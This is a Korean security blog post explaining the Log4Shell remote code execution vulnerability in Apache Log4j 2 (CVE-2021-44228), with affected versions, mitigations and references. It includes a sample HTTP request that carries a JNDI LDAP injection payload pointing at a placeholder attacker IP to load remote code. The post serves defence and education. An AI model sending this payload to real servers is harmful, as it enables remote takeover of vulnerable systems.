1. 개념
log4j는 프로그램 작성 중 로그를 남기기 위해 사용되는 자바 기반의 오픈소스 유틸리티다
오픈소스 프로그램이다 보니 자바 기반의 서버들에서 실제로 많이 사용중이다
이 취약점은 로그4j를 사용하는 애플리케이션의 원격코드 실행 취약점으로, 서버나 개인PC의 모든 권한을 취득해 데이터를 탈취하거나 악성코드를 실행할 수 있다
JNDI(Java Naming and Directory Interface)로 로그 메시지 또는 로그 메시지 매개변수를 제어할 수 있는 공격자는 메시지 조회 대체가 활성화된 경우 LDAP 서버에서 로드된 임의의 코드를 실행할 수 있다
2. 취약시스템
- 영향을 받는 버전
Apache Log4j 2 (2.0-beta9 ~ 2.14.1 모든 버전)
Apache Log4j 2를 사용하는 제품
3. 공격 설명
log4j가 JNDI를 통해 공격자 도메인으로 ${jndi:ldap://x.x.x.x:xx<공격자IP>} 패킷을 요청하고
대상지로부터 받은 응답 쿼리에 공격자가 미리 준비한 JNDI 익스플로잇을 요청하면
결과적으로 code execution이 가능하다
현재까지는 암호화폐 채굴 멀웨어, 미라이와 같은 봇넷 등이 주로 공격에 활용되고 있다
4. Raw data
GET / HTTP/1.1
Authorization: Oauth ${jndi:ldap://x.x.x.x:xx<공격자IP>/Exploit}
User-Agent: text/plain; charset=UTF-8
Accept: */*\
Host : <서버/목적지IP>
5. 해결 방법
- 취약한 버전의 프로그램을 업데이트한다.
- 보안장비에 Snort 룰 등록하여 해당 공격 탐지 및 모니터링후 블랙리스트 등록한다.
6. 참고자료
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
https://aws.amazon.com/ko/blogs/korea/aws-security-bulletins-cve-2021-44228/
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36389
https://www.hahwul.com/2021/12/11/log4shell-internet-is-on-fire/
'Security & Hacking > Vulnerability' 카테고리의 다른 글
[CVE-2017-5638] Apache Struts2 Jakarta Multipart Parser RCE.H (0) | 2021.08.11 |
---|---|
[VisualDoor] SonicWall SSL-VPN RCE Exploit (0) | 2021.06.08 |
[CVE-2018-20062] ThinkPHP Remote Code Execution Vulnerability (0) | 2021.06.02 |
[CVE-2018-10561-10562] Dasan GPON Routers Authentication Bypass CMD Injection (0) | 2021.06.01 |
[CVE-2015-2051] D-Link Router HNAP SOAPAction Command Injection (0) | 2021.05.31 |